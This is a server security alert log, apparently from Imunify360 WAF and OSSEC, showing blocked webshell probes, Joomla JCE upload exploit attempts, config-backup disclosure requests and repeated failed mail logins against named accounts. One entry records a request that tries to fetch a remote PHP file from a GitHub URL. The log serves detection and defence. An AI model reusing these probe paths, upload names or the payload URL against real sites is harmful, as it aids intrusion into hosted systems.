abuser: 62.60.130.210
country_id: 130758
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/images/cache.php||SC:/home/globalgroupoman/public_html/images/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.210
country_id: 130758
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/assets/images/images/cache.php||SC:/home/globalgroupoman/public_html/assets||


plugin: modsec
rule: 77469916
abuser: 172.234.23.109
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s791883.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-18 02:17:40 dovecot_login authenticator failed for H=([171.211.123.106]) [149.34.191.39]:35406: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-18 02:17:58 dovecot_login authenticator failed for H=([220.180.249.165]) [119.192.219.77]:35142: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 217.154.253.251
country_id: 2921044
domain: 103.185.74.189
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.31||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.154.253.251
country_id: 2921044
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.31||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.207.215.2
country_id: 3175395
description:
2026-07-18 02:25:34 dovecot_login authenticator failed for H=host-37-207-215-2.business.telecomitalia.it ([203.172.213.166]) [37.207.215.2]:40083: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.242.130
country_id: 2661886
description:
2026-07-18 02:26:32 dovecot_login authenticator failed for H=31-208-242-130.cust.bredband2.com ([174.75.211.203]) [31.208.242.130]:60236: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.205.169
country_id: 1733045
description:
2026-07-18 02:26:54 dovecot_login authenticator failed for H=(220-245-87-252.static.tpgi.com.au) [49.124.205.169]:56890: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.12.178
country_id: 1269750
description:
2026-07-18 02:26:56 dovecot_login authenticator failed for H=(111-70-23-252.emome-ip.hinet.net) [182.95.12.178]:36046: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-18 02:27:33 dovecot_login authenticator failed for H=([182.252.140.114]) [61.97.17.208]:55030: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.199
country_id: 1733045
description:
2026-07-18 02:28:01 dovecot_login authenticator failed for H=([49.88.37.210]) [49.124.149.199]:35912: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-18 02:30:51 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([184.185.2.1]) [81.236.211.54]:58330: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-18 02:30:59 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net ([109.207.41.125]) [96.56.228.149]:35868: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.107.113
country_id: 1835841
description:
2026-07-18 02:34:54 dovecot_login authenticator failed for H=([138.118.213.204]) [59.8.107.113]:37689: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.48.178
country_id: 1605651
description:
2026-07-18 02:35:20 dovecot_login authenticator failed for H=ppp-58-8-48-178.revip2.asianet.co.th ([118.113.15.18]) [58.8.48.178]:50657: 535 Incorrect authentication data


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.150
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.150||TA:192.186.151.150||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.28.212.208
country_id: 1694008
description:
2026-07-18 02:35:28 dovecot_login authenticator failed for H=([192.111.138.28]) [120.28.212.208]:55778: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77469916
abuser: 15.204.114.164
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:s1784322392.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 15.204.114.164
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:profile_file||MV:x.xml||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.162
country_id: 1733045
description:
2026-07-18 02:36:37 dovecot_login authenticator failed for H=([45.164.115.86]) [49.124.152.162]:39054: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.197.157.63
country_id: 2661886
description:
2026-07-18 02:36:51 dovecot_login authenticator failed for H=(c9503f1f.virtua.com.br) [85.197.157.63]:59662: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-18 02:38:31 dovecot_login authenticator failed for H=([182.95.27.140]) [183.82.56.12]:52356: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.16.146.168
country_id: 1562822
description:
2026-07-18 02:38:41 dovecot_login authenticator failed for H=(187.62.76.136.vootelecom.com.br) [123.16.146.168]:37015: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-07-18 02:40:02 dovecot_plain authenticator failed for H=(torastion) [154.144.243.93]:54792: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.223.78.187
country_id: 1643084
description:
2026-07-18 02:41:18 dovecot_plain authenticator failed for H=(localhost) [163.223.78.187]:58641: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.184.65.81
country_id: 6252001
description:
2026-07-18 02:43:19 dovecot_login authenticator failed for H=wsip-70-184-65-81.oc.oc.cox.net (176x212x241x100.dynamic.ulsk.ertelecom.ru) [70.184.65.81]:38725: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://trial.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.47.102
country_id: 1668284
description:
2026-07-18 02:54:55 dovecot_login authenticator failed for H=111-70-47-102.emome-ip.hinet.net ([112.186.203.10]) [111.70.47.102]:51132: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.60.186.153
country_id: 895949
description:
2026-07-18 02:54:43 dovecot_login authenticator failed for H=(h-79-136-18-51.A1440.priv.bahnhof.se) [41.60.186.153]:57818: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.234.138.49
country_id: 6252001
description:
2026-07-18 02:54:52 dovecot_login authenticator failed for H=([200.148.171.233]) [47.234.138.49]:34124: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.26
country_id: 1668284
description:
2026-07-18 02:56:59 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [101.13.5.26]:40876: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 91.92.243.156
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/shxt_fxwlof/fonts/shxt.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.190.123.30
country_id: 337996
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/contact-us HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.235.180
country_id: 6252001
description:
2026-07-18 03:10:24 dovecot_login authenticator failed for H=wsip-70-183-235-180.pn.at.cox.net (customer104-242.grm.net) [70.183.235.180]:38018: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.249.46
country_id: 2661886
description:
2026-07-18 03:10:32 dovecot_login authenticator failed for H=h83-209-249-46.cust.bredband2.com (adsl-90-150-93-138.jamal.ru) [83.209.249.46]:36724: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-18 03:12:25 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.182.103.169
country_id: 1655842
description:
2026-07-18 03:13:20 dovecot_plain authenticator failed for H=(thondae) [183.182.103.169]:60364: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 95.181.237.53
country_id: 3625428
domain: www.cochinbigbandshow.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:panscient.com||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.104.73.153
country_id: 6251999
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/bigdump.php||SC:/home/fefkadirectors/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-07-18 03:31:03 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [59.16.192.32]:46372: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.211.156.184
country_id: 6252001
description:
2026-07-18 03:31:15 dovecot_login authenticator failed for H=184.sub-97-211-156.myvzw.com ([156.59.147.116]) [97.211.156.184]:36878: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.104.73.153
country_id: 6251999
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/careers1698386936.php||SC:/home/fefkadirectors/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.12.179
country_id: 1269750
description:
2026-07-18 03:31:58 dovecot_login authenticator failed for H=([112.165.176.138]) [128.185.12.179]:37002: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.162.111.205
country_id: 1835841
description:
2026-07-18 03:31:38 dovecot_login authenticator failed for H=(syn-024-193-147-183.res.spectrum.com) [112.162.111.205]:49427: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77318022
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 45.154.138.222
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:REQUEST_FILENAME||MV:/component/users/||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-18 03:37:07 dovecot_plain authenticator failed for H=(cously) [182.95.230.74]:54006: 535 Incorrect authentication data (set_id=hr@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.25.236.229
country_id: 2921044
description:
2026-07-18 03:37:12 dovecot_plain authenticator failed for H=(prewed) [31.25.236.229]:42264: 535 Incorrect authentication data (set_id=hr@ddgalaxy.in)


plugin: modsec
rule: 77469918
abuser: 82.199.209.29
country_id: 99237
domain: alnayza.com
description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcebq3i1qwd.xml.shtml||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 154.19.231.86
country_id: 6252001
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx26209.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.41.197
country_id: 1733045
description:
2026-07-18 03:43:16 dovecot_login authenticator failed for H=([59.20.150.99]) [183.171.41.197]:55602: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-18 03:43:25 dovecot_login authenticator failed for H=([222.175.187.214]) [202.62.88.25]:49336: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77469916
abuser: 162.220.53.56
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:/images/mastayb1qb1.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.194.24.143
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/ogocindia/public_html/img||


plugin: modsec
rule: 77469916
abuser: 162.220.53.56
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:/images/mastagbguk4.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 170.124.18.234
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.183.245.232
country_id: 1605651
description:
2026-07-18 03:44:51 dovecot_login authenticator failed for H=([151.2.204.84]) [180.183.245.232]:9749: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.194.162
country_id: 1269750
description:
2026-07-18 03:45:15 dovecot_login authenticator failed for H=([183.82.56.12]) [128.185.194.162]:46980: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.202
country_id: 1835841
description:
2026-07-18 03:46:39 dovecot_login authenticator failed for H=([198.8.94.171]) [218.156.93.202]:34335: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.232.174
country_id: 1269750
description:
2026-07-18 03:47:01 dovecot_plain authenticator failed for H=(oozotron) [152.52.232.174]:33902: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.56.132.249
country_id: 1269750
description:
2026-07-18 03:49:38 dovecot_plain authenticator failed for H=(localhost) [152.56.132.249]:52863: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.109.124.242
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.200.70.133
country_id: 290557
description:
2026-07-18 03:50:45 dovecot_plain authenticator failed for H=(hysynard) [87.200.70.133]:60633: 535 Incorrect authentication data (set_id=hr@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.40.247
country_id: 1562822
description:
2026-07-18 03:50:42 dovecot_plain authenticator failed for H=(frink) [171.244.40.247]:33820: 535 Incorrect authentication data (set_id=hr@ddgalaxy.in)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.170.254.20
country_id: 6252001
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-18 03:55:23 dovecot_login authenticator failed for H=([178.46.161.220]) [119.92.76.210]:55434: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.163
country_id: 1733045
description:
2026-07-18 03:55:39 dovecot_login authenticator failed for H=([103.4.167.15]) [49.125.203.163]:52072: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.168.152.99
country_id: 3351879
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.246.14.146
country_id: 3996063
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/b2b/currency_analysis.php HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.219.77
country_id: 1835841
description:
2026-07-18 03:58:13 dovecot_login authenticator failed for H=([36.135.94.148]) [119.192.219.77]:60887: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-18 03:58:25 dovecot_login authenticator failed for H=(clinicahumanas.sdr.gvt.net.br) [157.119.70.200]:56930: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-18 03:59:42 dovecot_login authenticator failed for H=([37.28.177.141]) [203.192.247.84]:44518: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-18 03:59:54 dovecot_login authenticator failed for H=([185.94.182.35]) [182.95.101.182]:45884: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.140
country_id: 2921044
description:
2026-07-18 04:04:39 dovecot_login authenticator failed for H=([38.141.252.55]) [94.16.17.140]:51156: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-18 04:04:54 dovecot_login authenticator failed for H=(89-160-102-155.cust.bredband2.com) [65.99.181.123]:56200: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-18 04:12:27 dovecot_login authenticator failed for H=(42-194-136-45.ddns.movitel.tv) [125.23.228.86]:36118: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-18 04:12:47 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com ([109.238.140.87]) [217.211.208.125]:37522: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.255.83.134
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.padel5000.com/\">slot depo 5k</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.246.68.237
country_id: 272103
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/malik-malayalam-movie-experience-metro-digital-media HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.14.223.70
country_id: 3703430
description:
2026-07-18 04:15:25 dovecot_login authenticator failed for H=(industrianaval.fla.gvt.net.br) [190.14.223.70]:49499: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.201.244.162
country_id: 6252001
description:
2026-07-18 04:17:23 dovecot_login authenticator failed for H=f1.roos.com ([49.124.148.204]) [64.201.244.162]:15959: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-18 04:17:41 dovecot_login authenticator failed for H=(static.ill.117.247.82.240.bsnl.co.in) [216.45.75.104]:43566: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-18 04:19:10 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th ([111.42.132.19]) [171.100.121.127]:43086: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.225.51.158
country_id: 719819
description:
2026-07-18 04:19:22 dovecot_login authenticator failed for H=netacc-gpn-5-51-158.pool.yettel.hu ([104.37.132.51]) [84.225.51.158]:53942: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-18 04:18:46 dovecot_login authenticator failed for H=(61-216-140-244.hinet-ip.hinet.net) [206.62.136.130]:34790: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.209
country_id: 1733045
description:
2026-07-18 04:18:59 dovecot_login authenticator failed for H=(syn-075-080-065-214.biz.spectrum.com) [49.124.149.209]:56792: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.161.38.22
country_id: 130758
description:
2026-07-18 04:21:25 dovecot_login authenticator failed for H=(137.red-88-9-202.dynamicip.rima-tde.net) [185.161.38.22]:39343: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.218.135.58
country_id: 6252001
description:
2026-07-18 04:21:55 dovecot_login authenticator failed for H=([111.70.38.248]) [15.218.135.58]:38368: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.106.206.227
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.29.124
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/uploader.php||SC:/home/idealloanzcom/public_html/images/uploader.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.86
country_id: 1668284
description:
2026-07-18 04:32:58 dovecot_login authenticator failed for H=(wllk99-129-211.dsl.netins.net) [101.13.6.86]:35646: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-18 04:32:44 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net ([152.52.192.162]) [194.103.82.72]:53912: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:globalgroupoman||SC:/home/globalgroupoman/public_html/index.php||WPU:||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.4.155
country_id: 1733045
description:
2026-07-18 04:37:28 dovecot_login authenticator failed for H=([103.210.250.198]) [183.171.4.155]:60600: 535 Incorrect authentication data


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 172.170.254.20
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.31||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-18 04:37:54 dovecot_login authenticator failed for H=([70.166.167.60]) [206.62.136.109]:58104: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.26.57.215
country_id: 2510769
description:
2026-07-18 04:38:49 dovecot_plain authenticator failed for H=static-215-57-26-46.ipcom.comunitel.net (baress) [46.26.57.215]:52808: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 114.10.47.119
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/index.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.10.47.119
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/images/_h3x_qps5l42y.phtml.json||SC:/home/fefkadirectors/public_html/images/_h3x_qps5l42y.phtml.json||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.152
country_id: 6252001
domain: www.fefkadirectorsunion.com
description:
